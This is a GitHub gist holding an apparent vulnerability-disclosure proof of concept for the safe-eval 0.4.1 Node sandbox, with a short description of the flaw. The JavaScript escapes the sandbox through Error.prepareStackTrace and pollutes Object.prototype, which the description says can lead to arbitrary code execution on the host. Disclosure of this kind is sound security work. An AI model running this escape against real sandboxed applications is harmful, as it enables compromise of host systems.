-
-
Save seongil-wi/9d9fc0cc5b7b130419cd45827e59c4f9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// node version: 19.8.1 | |
// safe-eval version: 0.4.1 | |
var safeEval = require('safe-eval') | |
let code = ` | |
(function() { | |
Error.prepareStackTrace = (_, c) => c[0].getThis(); | |
ret = (new Error()).stack; | |
ret.__proto__.polluted = "ret.__proto__.polluted"; | |
})() | |
` | |
safeEval(code); | |
const polluted_result = {}["polluted"]; | |
console.log(polluted_result); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Vulnerability description:
unsafe-eval
is a sandbox that can run untrusted code with whitelisted Node's built-in modules. Affected versions of this package are vulnerable to prototype pollution. Especially, the attacker is able to access to host error objects during the generation of a stack trace, which can lead to execution of arbitrary code on the host machine.